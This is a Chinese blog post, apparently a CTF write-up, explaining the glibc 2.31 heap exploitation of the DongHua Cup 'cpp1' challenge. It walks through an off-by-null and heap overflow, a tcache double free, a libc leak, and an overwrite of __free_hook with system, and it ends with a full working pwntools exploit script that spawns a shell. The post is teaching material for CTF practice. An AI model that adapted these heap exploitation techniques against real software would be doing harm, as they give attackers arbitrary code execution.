东华杯-pwn-cpp1

3 篇文章 0 订阅

东华杯-pwn-cpp1

前一阵子东华杯的pwn题,比赛时候没做出来,说起来那时候我才刚学到fastbin attack,天天在和libc2.23打交道,比赛的时候时候看见libc全是2.31的…孩子人都傻了,遂去misc划水。。。(r n m,退钱!)

现在终于看了tcache,寻思试一下之前的赛题,于是有了这篇博客,做起来发现,好像并没有那么难?

我本地的环境就是2.31的,所以就在本地尝试复现了一下,文件已经传到了网盘,想复现的师傅们可以在这里下载
提取码:xymi

分析

main函数如下

在这里插入图片描述

菜单

在这里插入图片描述

new

new中允许自定义index(0 <= index <= 16)和size(size < 0xff),并不填充内容
在这里插入图片描述

change

漏洞点在这里,change中指定index填充内容,但是不对内容长度做检查,存在堆溢出,其中cin会在字符串末尾自动添加’\0’,可以off-by-null
在这里插入图片描述

show

show可以打印堆块内容,可以用来泄露
在这里插入图片描述

delete

在这里插入图片描述

利用

通过利用tcache的不严谨和off-by-null,我们可以制造出double free的情况,在此基础上,将特定大小的tcache填充满(一般是七个)之后【这里是绕过tcache】,新free的small bin大小的堆块将会首先被放到unsorted bin中,利用unsorted bin的双向循环链表的特性,当其中只有一个堆块时,它的fd和bk指针都会指向链表头也就是unsorted bin,此时就可以通过show来泄露libc基址
然后就是非常简单的了,利用堆溢出修改tcache链表中的fd指针,就可以申请到__free_hook,通过change修改成system,,再向可控堆块内写入’/bin/sh\x00’,就大功告成了
这里不得不说,tcache的检查实在是太松散了,连堆块大小都不检查的,比fastbin舒服多了()

详解

首先申请五个堆块
这里chunk0的作用是让chunk1的用户操作段起始地址(即chunk1+0x10)末位为’\x00’,方便一会off-by-null,以后也不会再用到,index就申请为16了

new(b'16', b'48')   # chunk0
new(b'0', b'144')    # chunk1
new(b'1', b'16')    # chunk2
new(b'2', b'16')    # chunk3
new(b'3', b'16')    # chunk4

删除index 2、1,
此时 tcache -> chunk2 -> chunk3 -> null

delete(b'2')
delete(b'1')

off-by-null 部分写chunk2的fd
此时tcache -> chunk2 -> chunk1

change(b'0', b'\x00' * 0x98 + p64(0x21))

再连续申请两次,构造出double free,tcache清空

# double free idx 0 and idx 5
new(b'4', b'16')    # chunk2
new(b'5', b'16')    # chunk1

塞满tcache
tcache -> index6 -> 7 ->8 -> 9 -> 10 -> 11 -> 12

new(b'6', b'144')
new(b'7', b'144')
new(b'8', b'144')
new(b'9', b'144')
new(b'10', b'144')
new(b'11', b'144')
new(b'12', b'144')

delete(b'12')
delete(b'11')
delete(b'10')
delete(b'9')
delete(b'8')
delete(b'7')
delete(b'6')

泄露libc

delete(b'0')
show(b'5')
main_arena = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('main_arena -> ' + hex(main_arena))

libc_addr = main_arena - 0x1ebb80 - 96
print('libc_addr -> ' + hex(libc_addr))

申请到__free_hook
先改tcache为
tchche -> 6 -> __free_hook
再连续申请两次

hook = libc.symbols['__free_hook'] + libc_addr
sys = libc.symbols['system'] + libc_addr

change(b'3', p64(0) * 3 + p64(0xa1) + p64(hook))

# 申请到free_hook的地址
new(b'6', b'144')
new(b'7', b'144')

getshell

change(b'7', p64(sys))
change(b'6', b'/bin/sh\x00')

delete(b'6')

完整exp

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

io = process('./dh_pwn')

# gdb.attach(io)

elf = ELF('./dh_pwn')
libc = ELF('./libc.so.6')


def new(idx, size):
    io.recvuntil(b'>>\n')
    io.sendline(b'1')
    io.recvuntil(b'I:>>\n')
    io.sendline(idx)
    io.recvuntil(b'S:>>\n')
    io.sendline(size)


def change(idx, content):
    io.recvuntil(b'>>\n')
    io.sendline(b'2')
    io.recvuntil(b'I:>>\n')
    io.sendline(idx)
    io.recvuntil(b'V:>>\n')
    io.sendline(content)


def show(idx):
    io.recvuntil(b'>>\n')
    io.sendline(b'3')
    io.recvuntil(b'I:>>\n')
    io.sendline(idx)


def delete(idx):
    io.recvuntil(b'>>\n')
    io.sendline(b'4')
    io.recvuntil(b'I:>>\n')
    io.sendline(idx)

new(b'16', b'48')   # chunk0
new(b'0', b'144')    # chunk1
new(b'1', b'16')    # chunk2
new(b'2', b'16')    # chunk3
new(b'3', b'16')    # chunk4

delete(b'2')
delete(b'1')
change(b'0', b'\x00' * 0x98 + p64(0x21))

# double free idx 0 and idx 5
new(b'4', b'16')    # chunk2
new(b'5', b'16')    # chunk1

new(b'6', b'144')
new(b'7', b'144')
new(b'8', b'144')
new(b'9', b'144')
new(b'10', b'144')
new(b'11', b'144')
new(b'12', b'144')

delete(b'12')
delete(b'11')
delete(b'10')
delete(b'9')
delete(b'8')
delete(b'7')
delete(b'6')

delete(b'0')
show(b'5')
main_arena = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('main_arena -> ' + hex(main_arena))

libc_addr = main_arena - 0x1ebb80 - 96
print('libc_addr -> ' + hex(libc_addr))

hook = libc.symbols['__free_hook'] + libc_addr
sys = libc.symbols['system'] + libc_addr

change(b'3', p64(0) * 3 + p64(0xa1) + p64(hook))

# 申请到free_hook的地址
new(b'6', b'144')
new(b'7', b'144')

# onegad = libc_addr + 0xe6e76
change(b'7', p64(sys))
change(b'6', b'/bin/sh\x00')

delete(b'6')

io.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值